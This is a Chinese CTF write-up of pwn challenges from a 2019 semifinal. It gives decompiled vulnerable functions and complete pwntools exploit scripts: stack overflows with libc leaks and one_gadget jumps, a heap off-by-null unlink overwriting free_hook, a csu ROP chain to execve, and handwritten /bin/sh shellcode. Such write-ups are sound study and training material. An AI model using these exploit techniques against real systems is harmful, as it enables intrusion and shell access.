2019国赛华南赛区半决赛 pwn部分解

2019国赛华南赛区半决赛 pwn部分解

这次比赛fix得乱七八糟,下次把插入代码的fix学会了再说,有大佬会的欢迎指点指点小弟,总体来说菜还是菜,做不出来的还是做不出来,有待提高。

本次半决赛pwn题链接:https://github.com/ZoEplA/ZoEplA.github.io/tree/master/pwn/csicn2019 Semifinal

day1

一道简单栈溢出

分析:漏洞函数如下,非常简单,又是一道第一次泄露libc第二次跳one_gadget的题目,pwn9也是这样的题目。。

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
LOCAL = 1
DEBUG = 0
if DEBUG:
context.log_level = 'debug'
if LOCAL:
p = process('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.29.20.115',9999)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
main = 0x8048595
bss = 0x0804A100
leave = 0x08048561
elf = ELF("./pwn")
system_plt = elf.plt["system"]

def exp():
payload = "A"*0x28
pause()
p.sendline(payload)
p.recvuntil(p32(0x0804862a))
libcbase = u32(p.recv(4))-0x1b23dc
print("[+] libcbase = " + str(hex(libcbase)))
one_gadget = libcbase + 0x3ac5c
payload = "A"*0x28 + p32(0) + p32(one_gadget)
p.sendline(payload)


exp()
p.interactive()

这道题的漏洞是一个offbynull,限制了edit只能edit两次,判断变量放在bss上,考虑如何修改绕过限制,然后show功能要bss上的一个值不为0才行,没发现其他漏洞。漏洞程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 edit()
{
_BYTE *v0; // ST10_8
signed int v2; // [rsp+Ch] [rbp-14h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( key1 == 2 ) // 只能edit两次
exit(0);
puts("index:");
v2 = read_int("index:");
if ( v2 < 0 || v2 > 32 || !heap[v2] )
exit(0);
puts("content:");
v0 = heap[v2];
v0[read(0, heap[v2], len[v2])] = 0; // offbynull
++key1;
return __readfsqword(0x28u) ^ v3;
}

分析:
然后考的应该是unlink,直接unlink到bss,这里有要找对那个bss地址才能成功利用,有两个点:

  • 第一是要使该bss地址往后0x18的值指向heap中药unlink的那个堆块
  • 第二是,unlink控制到bss地址之后,edit堆要edit到那个key1和key2从而能够绕过程序中对edit和show的限制。

详细的unlink操作可以调试一下下面的脚本就懂了,控制完后直接打印got表泄露libc,然后改free_hook为system,直接getshell

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1
#log_level='debug'

if local:
p = process("./pwn")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('172.29.20.112',9999)
elf = ELF("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(index,size,content):
p.recvuntil("show\n")
p.sendline("1")
p.recvuntil(":\n")
p.sendline(str(index))
p.recvuntil(":\n")
p.sendline(str(size))
p.recvuntil("gift: ")
leak = p.recvuntil("\n",drop = True)
heap = int(leak,16)
print("[+] heap = " + str(hex(heap)))
p.recvuntil(":\n")
p.sendline(content)
return heap

def delete(index):
p.recvuntil("show\n")
p.sendline("2")
p.recvuntil(":\n")
p.sendline(str(index))

def edit(index,content):
p.recvuntil("show\n")
p.sendline("3")
p.recvuntil(":\n")
p.sendline(str(index))
p.recvuntil(":\n")
p.send(content)

def edit2(index,content):
p.recvuntil("show\n")
p.sendline("3")
p.recvuntil(":\n")
p.sendline(str(index))
p.recvuntil(":\n")
p.sendline(content)

def show(index):
p.recvuntil("show\n")
p.sendline("4")
p.recvuntil(":\n")
p.sendline(str(index))

'''
b *0x400990
b *0x400A61
b *0x400B73

'''
# if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
bss=0x6021c8+0x18

f=bss-0x18
b=bss-0x10

payload = p64(f) + p64(b)
leak = new(28,0xf8,payload)
print("[+] leak = " + str(hex(leak)))
heap = leak - 0x10

new(29,0xf8,payload)
new(30,0xf8,payload)
new(31,0xf8,payload)
new(32,0xf8,payload)
new(1,0xf8,"AAA")
new(2,0xf8,"AAA")
new(10,0xf8,"/bin/sh\x00")
payload = p64(0) + p64(0xf1) + p64(f) + p64(b)
edit(32,payload.ljust(0xf0, "\x00") + p64(0xf0))
delete(1)
payload = p64(elf.got['puts']) + p64(0x6020f0)

edit(32,payload.ljust(0xe8, "\x00")+ p64(0x100) + p32(0x100) + p32(0x100))
show(29)

puts_addr = u64(p.recvuntil('\n', drop=True)+"\x00\x00")
print "[+] puts_addr = " + str(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print "[+] libc_base = " + str(hex(libc_base))
system = libc_base + libc.symbols['system']

free_hook = libc_base + 0x3c67a8
one_gadget = libc_base + 0xf1147
pause()
edit(30,p64(free_hook))
edit2(2,p64(system))

delete(10)

p.interactive()

day2

short(pwn3)

分析:简单栈溢出,可以直接调用syscall,也有mov rax,0x3b;,难点在于没有把rsi和rdx置0的gadget,这里利用申请的csu()把他们置0再跳回来继续syscall。这次利用需要raed两次,因为第一次要泄露栈地址,因为我们是把/bin/sh\x00写在了栈上。

栈溢出位置:

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf; // [rsp+0h] [rbp-10h]

v0 = sys_read(0, &buf, 0x400uLL);
return sys_write(1u, &buf, 0x30uLL);
}

详细exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
LOCAL = 1
DEBUG = 0
if DEBUG:
context.log_level = 'debug'
if LOCAL:
p = process('./short')#,env={'LD_PRELOAD':'./ld-2.29.so'})
#libc = ELF('./libc-2.29.so')
else:
p = remote("172.29.20.114",9999)
#libc = ELF('./libc-2.29.so')
main = 0x40051D
elf = ELF("./short")
syscall = 0x0000000000400517
rax_3b = 0x00000000004004e3
pop_rdi = 0x00000000004005a3
def csu(r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
csu_end_addr = 0x0000000040059A
csu_front_addr = 0x0000000000400580
payload = p64(csu_end_addr) + p64(0) + p64(1) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
return payload

def exp():
offset = 16
payload = "/bin/sh\x00" + "a"*8 + p64(main)# ret main
#gdb.attach(p,"b *0x400519")
#pause()
p.sendline(payload)
p.recvn(0x20)
data = u64(p.recvn(8)) - 0x118#0x128
print hex(data) # stack addr
payload = "/bin/sh\x00" + p64(pop_rdi) + p64(rax_3b) # set rax to 0x3b
payload += csu(data-0x18,0,0,0) # data-0x18 -> pop_rdi(csu -> call pop_rdi) and set rsi,rdx = 0
payload += p64(pop_rdi) + p64(data-0x20) + p64(syscall) # data-0x20 -> /bin/sh\x00
p.sendline(payload)# second read
exp()
p.interactive()

babypwn(pwn7)

分析:首先程序入口需要判断是不是admin,对判断名字做了一个简单的异或,程序段如下,简单解密得到输入aeojj即可通过。

1
2
3
4
5
6
7
8
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
v3 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, i);
*v3 ^= i;
}

然后我们可以在下一个函数发现有栈溢出,程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 sub_10DE()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "do you want to get something???");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
read(0, &buf, 0x28uLL);
printf("????%s\n", &buf);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "OK???");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
read(0, &buf, 0x29uLL);
printf("6666%s\n", &buf);
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I think you can do something now");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
read(0, &buf, 0x40uLL);
return __readfsqword(0x28u) ^ v5;
}

在第一次输入的时候我们只输入短一点字节数,比如说两三个,看一下栈上的布局:

1
2
3
4
0x7ffd60611c50:	0x0a42414141414141	0x00007fb8c7781fb4
0x7ffd60611c60: 0x0000000000000000 0xbf06268935332a00
0x7ffd60611c70: 0x00007ffd60611c80 0xbf06268935332a00
0x7ffd60611c80: 0x00007ffd60611c90 0x000055e17000b380

可以发现栈上偏移0x8的位置,也就是0x7ffd60611c58就是一个libc地址,第一次read泄露出来libc,第二次read泄露canary,第三次构造栈溢出直接返回到one_gadget就行了。这里libc版本经过测试是libc2.23。

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1
#log_level='debug'

if local:
p = process("./babypwn")
elf = ELF("./babypwn")
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('172.29.20.118',9999)
elf = ELF("./babypwn")

p.sendline("aeojj")
pause()
p.sendline("A"*0x6 + "B")
p.recvuntil("B\n")
leak = u64(p.recv(6) + "\x00\x00")
libcbase = leak - 0x6ffb4
print("libcbase = " + str(hex(libcbase)))
pause()
p.send("B"*0x28 + "C")
p.recvuntil("C")
canary = u64("\x00" + p.recv(7))
print("canary = " + str(hex(canary)))

stack_leak = u64(p.recv(6) + "\x00\x00")
print("stack_leak = " + str(hex(stack_leak)))
one_gadget = libcbase + 0x45216
payloadA = "A"*8 + p64(leak) + p64(0) + p64(canary) + p64(stack_leak - 0x10) + p64(canary) +p64(stack_leak) + p64(one_gadget)
print(hex(len(payloadA)))
p.send(payloadA)
p.interactive()

'''
data struct in stack
0x7ffd60611c50: 0x0a42414141414141 0x00007fb8c7781fb4
0x7ffd60611c60: 0x0000000000000000 0xbf06268935332a00
0x7ffd60611c70: 0x00007ffd60611c80 0xbf06268935332a00
0x7ffd60611c80: 0x00007ffd60611c90 0x000055e17000b380

'''

pwn9

这道题没有名字,就是叫pwn。
然后这道题主要是栈溢出,能够jmp rsp;然后没有开NX,所以考的其实就是写shellcode吧。难点在于溢出的字节不多,所以要自己写shellcode才行。

1
2
3
4
5
6
.text:08048551 hint            proc near
.text:08048551 ; __unwind {
.text:08048551 push ebp
.text:08048552 mov ebp, esp
.text:08048554 jmp esp
.text:08048554 hint endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h]

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin); // 0x12
puts("OK bye~");
fflush(stdout);
return 1;
}

利用:这里写shellcode之前先想办法把东西写到bss段,这个刚好可以发现fgets的第一个参数取值是通过ebp来取值的,而我们在返回之前可以写一次东西,我们只要返回到这个,就可以控制第一个参数为bss地址了,就可以往那里来写东西了。因为我们每次只能写50个字节,shellcode主要分两段,先控制好eax为0xb,并设置好一个寄存器为bss地址为0x0804A100,然后再jmp到这个地址上去执行该地址上的shellcode,就可以getshell了。

shellcode顺序是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
   0:   bb 00 a1 04 08          mov    ebx,0x804a100
5: 31 c0 xor eax,eax
7: 6a 0b push 0xb
9: 58 pop eax
a: ff e3 jmp ebx
12
0: 6a 00 push 0x0
2: 68 2f 2f 73 68 push 0x68732f2f
7: 68 2f 62 69 6e push 0x6e69622f
c: 89 e3 mov ebx,esp
e: 31 c9 xor ecx,ecx
10: 89 ca mov edx,ecx
12: cd 80 int 0x80
20

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(os='linux',arch='i386',aslr = 'False')#,log_level='debug')
local = 1
#log_level='debug'
if local:
p = process("./pwn")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./pwn")
#libc = ELF('./libc_x64.so.6')
else:
p = remote("172.29.20.120",9999)

pass
hint = 0x8048551
# 0x8048512 fgets one more time
def exp():
bss = 0x0804A120
# shellcode part 2 : read to bss(0x804a100)
shellcode1 = asm("push 0;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;mov edx,ecx;int 0x80;")

# shellcode part 1 : jmp to another shellcode
shellcode2 = asm("mov ebx,0x804a100;xor eax,eax;push 0xb;pop eax;jmp ebx;")
print disasm(shellcode2)
print len(shellcode2)
print disasm(shellcode1)
print len(shellcode1)
payload = "\x00"*0x20 + p32(bss) + p32(0x8048512)# control ebp = bss's addr; lea eax,[ebp-0x20] and control the fgets addr
payload = payload.ljust(49,"\xee")
payload += shellcode1 # write to bss 0x0804A100
print len(payload)
payload = payload.ljust(81,"B")
payload += shellcode2[0:4] + p32(hint) + shellcode2[4:]
# leave ret -> mov esp,ebp;pop ebp
# hint : push ebp; mov ebp, esp;jmp esp; -> exec shellcode2 ,and then jmp to shellcode1
payload = payload.ljust(100,"\xff")
p.recv()
gdb.attach(p,"b *0x8048551\nb *0x8048526")
p.send(payload)

exp()
p.interactive()
'''
0x804a100: 0x2f68006a 0x6868732f 0x6e69622f 0xc931e389
0x804a110: 0x80cdca89 0x42424242 0x42424242 0x42424242
0x804a120: 0x04a100bb 0x08048551 0x6ac03108 0xe3ff580b
0x804a130: 0x000000ff 0x00000000 0x00000000 0x00000000
'''